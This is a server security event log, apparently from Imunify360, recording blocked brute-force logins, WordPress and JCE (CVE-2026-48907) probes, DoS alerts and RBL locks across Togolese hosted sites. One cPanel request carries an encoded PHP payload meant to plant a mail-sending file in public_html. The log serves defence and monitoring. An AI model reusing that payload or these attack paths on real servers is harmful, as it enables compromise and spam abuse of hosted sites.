Jun 27 20:42:19 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.249.251.88 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.124.162.15
country_id: 690791
domain: auditeccandco.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/auditeccandco.com/wp-json/wp/v2/users HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 27 20:43:05 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 197.234.221.23
country_id: 2395170
description:
197.234.221.23 - - [27/Jun/2026:20:43:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184392&pdata=https%253A%252F%252Fwww.snb.tg%252Fproduct%252Fcategory%252Fboissons-gazeuses&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782592988 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/product/category/boissons-gazeuses" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:197.234.221.23


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.124.162.15
country_id: 690791
domain: auditeccandco.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/auditeccandco.com/wp-login.php HTTP/1.1||RSV:8.21||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.180.246
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.180.246: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.80.40.123
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.80.40.123: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.180.148
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.180.148: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.80.40.209
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.80.40.209: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.216.226.197
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.216.226.197: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.80.40.119
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.80.40.119: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.180.146
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.180.146: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.136
country_id: 3469034
description:
Jun 27 20:54:59 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.164.226
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/hogbeza-2023-apotheose HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.0.125
country_id: 2300660
description:
Jun 27 20:55:24 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.0.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.75.181.87
country_id: 2017370
description:
Jun 27 20:56:31 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.75.181.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.75.181.87
country_id: 2017370
description:
2026-06-27 20:56:33 dovecot_login authenticator failed for H=(65-181-79-060.static.imsbiz.com) [185.75.181.87]:60050: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.169.10.147
country_id: 2363686
description:
[2026-06-27 20:56:14 +0000] info [webmaild] 196.169.10.147 - wiyao.g@inger.tg "POST /cpsess1729779657/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.196.81] != Current IP Address [196.169.10.147]


plugin: modsec
rule: 77102143
abuser: 85.159.145.120
country_id: 3175395
domain: pnls.tg
name:
IM360 WAF: Unauthenticated JCE editor-profile import primitive before 2.9.99.5 - tracking (CVE-2026-48907)

description:
IM360 WAF: Unauthenticated JCE editor-profile import primitive before 2.9.99.5 - tracking (CVE-2026-48907)||MVN:ARGS:task||MV:profiles.import||RF:/index.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 85.159.145.120
country_id: 3175395
domain: pnls.tg
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:profile_file||MV:n.xml||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.117.199.70
country_id: 2510769
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2015/03/DAO-LOT-3_CENTRALE-SOLAIRE_DNCMP_V.F.-DU-10.0315.pdf HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.135.255.98
country_id: 458258
description:
[2026-06-27 21:01:44 +0000] info [cpaneld] 195.135.255.98 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.44.42.40
country_id: 6252001
description:
[2026-06-27 21:01:42 +0000] info [cpaneld] 152.44.42.40 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.98.167.181
country_id: 6252001
description:
[2026-06-27 21:01:43 +0000] info [cpaneld] 74.98.167.181 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.232.13.178
country_id: 6252001
description:
[2026-06-27 21:01:45 +0000] info [cpaneld] 172.232.13.178 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.110.206.241
country_id: 1643084
description:
[2026-06-27 21:01:46 +0000] info [cpaneld] 168.110.206.241 - sbnjjkvc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sbnjjkvc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 137.184.44.2
country_id: 6252001
description:
[2026-06-27 21:01:46 +0000] info [cpaneld] 137.184.44.2 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.117.93.125
country_id: 1861060
description:
[2026-06-27 21:01:42 +0000] info [cpaneld] 82.117.93.125 - sbnjjkvc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sbnjjkvc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.182.212.48
country_id: 6252001
description:
[2026-06-27 21:01:48 +0000] info [cpaneld] 172.182.212.48 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.248.158.232
country_id: 1880251
description:
[2026-06-27 21:01:48 +0000] info [cpaneld] 104.248.158.232 - sbnjjkvc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sbnjjkvc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.133.112.11
country_id: 6252001
description:
[2026-06-27 21:02:17 +0000] info [cpaneld] 45.133.112.11 - cloudetracks "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.178.116.164
country_id: 1562822
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 65.111.26.107
country_id: 2510769
domain: sp-eau.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:doufelg||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.178.116.164
country_id: 1562822
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 27 21:05:50 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-27 21:05:22 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:44818: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.128.39.124
country_id: 2635167
description:
[2026-06-27 21:05:26 +0000] info [cpaneld] 178.128.39.124 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 43.173.181.164
country_id: 1880251
description:
43.173.181.164 - - [27/Jun/2026:21:07:26 +0000] "GET /cgi-sys/suspendedpage.cgi?wsidchk=12807065&pdata=https%253A%252F%252Fekeasarl.com%252Fservice%252Frepair-welding%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782594438 HTTP/1.1" 200 11871 ekeasarl.com "https://ekeasarl.com/service/repair-welding/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.164


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 21:08:45 +0000] info [cpaneld] 188.166.248.160 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 21:12:03 +0000] info [cpaneld] 36.77.232.64 - tqttxcvn "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tqttxcvn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.68.186
country_id: 6252001
description:
[2026-06-27 21:13:41 +0000] info [cpaneld] 217.181.68.186 - aopsacai "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 21:15:54 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:58614: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 21:15:03 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.129.52.111
country_id: 2963597
description:
[2026-06-27 21:18:17 +0000] info [cpaneld] 108.129.52.111 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.253.192.76
country_id: 1512440
description:
[2026-06-27 21:18:13 +0000] info [cpaneld] 92.253.192.76 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.130.184.251
country_id: 6252001
description:
[2026-06-27 21:18:15 +0000] info [cpaneld] 45.130.184.251 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.179.248.23
country_id: 1562822
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/?p=612 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.179.248.23
country_id: 1562822
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=612 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 97.222.214.242
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-et-racks.tg/wp-json/wp/v2/posts HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.174.101.94
country_id: 6252001
description:
[2026-06-27 21:24:52 +0000] info [cpaneld] 54.174.101.94 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.84.34.85
country_id: 1210997
description:
2026-06-27 21:25:17 dovecot_login authenticator failed for H=(187-8-3-230.customer.tdatabrasil.net.br) [202.84.34.85]:47700: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 21:25:53 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:35280: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.151.154
country_id: 3017382
description:
[2026-06-27 21:24:54 +0000] info [cpaneld] 141.95.151.154 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.105.148.79
country_id: 6252001
description:
[2026-06-27 21:24:56 +0000] info [cpaneld] 172.105.148.79 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.84.34.85
country_id: 1210997
description:
Jun 27 21:25:15 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.84.34.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.49
country_id: 3469034
description:
Jun 27 21:26:45 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.49
country_id: 3469034
description:
Jun 27 21:26:59 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.149.191.246
country_id: 2017370
description:
2026-06-27 21:27:16 dovecot_login authenticator failed for H=([31.0.168.195]) [217.149.191.246]:45986: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 31.134.15.95
country_id: 241170
domain: www.togosem.com
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:8.21||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/74/feedback||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.149.191.246
country_id: 2017370
description:
Jun 27 21:27:14 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.149.191.246 has been locked due to Imunify RBL


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 31.134.15.95
country_id: 241170
domain: www.togosem.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/74/feedback||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.15.95
country_id: 241170
domain: www.togosem.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142097r77142192||MV:21-27.31.134.15.95||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.51.201
country_id: 3175395
description:
Jun 27 21:27:58 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.51.201 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 43.157.82.252
country_id: 2921044
domain: cloud-et-racks.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.242.141
country_id: 3057568
description:
158.173.242.141 - - [27/Jun/2026:21:29:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131401&pdata=http%253A%252F%252Fworldinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782595784 HTTP/1.1" 302 0 worldinfo.tg "http://worldinfo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.242.141


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.190.192
country_id: 1269750
domain: besteva1.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:42657.besteva1.com||ServerName:besteva1.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a4206745aff4b42b4b44aadefc1f2da1f767a66c||Title:0x248e8362||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 160.250.183.224
country_id: 1562822
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:160.250.183.224||TA:160.250.183.224||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.197.27.219
country_id: 241170
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2019/06/img-20190615-wa00141431950007.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 21:35:31 +0000] info [cpaneld] 36.77.232.64 - cvajhehu "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:36:48 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:36:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:11260: 535 Incorrect authentication data (set_id=\343\202\271\343\203\221\343\203\240@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.196.141.175
country_id: 241170
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2025/12/606053409_1626282135255582_8852953872700042275_n-300x199.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-27 21:36:24 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:45860: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:36:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:49698: 535 Incorrect authentication data (set_id=mags@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:36:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:48246: 535 Incorrect authentication data (set_id=\343\202\271\343\203\221\343\203\240@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:37:01 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:37:08 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:37:00 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:37:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:16662: 535 Incorrect authentication data (set_id=das@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:37:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:56052: 535 Incorrect authentication data (set_id=tehnolog@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:37:03 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:37:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:45644: 535 Incorrect authentication data (set_id=mags@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:37:59 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:38:22 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:38:28 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:38:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:28422: 535 Incorrect authentication data (set_id=nasadmin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:38:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:1680: 535 Incorrect authentication data (set_id=estate@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:38:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:64922: 535 Incorrect authentication data (set_id=rs@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:37:55 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:37:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18360: 535 Incorrect authentication data (set_id=araceli@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:39:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:57146: 535 Incorrect authentication data (set_id=success1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:39:17 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:39:09 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:39:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:42120: 535 Incorrect authentication data (set_id=grzegorzb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:39:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:40932: 535 Incorrect authentication data (set_id=handbook@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:39:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:9546: 535 Incorrect authentication data (set_id=orel@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
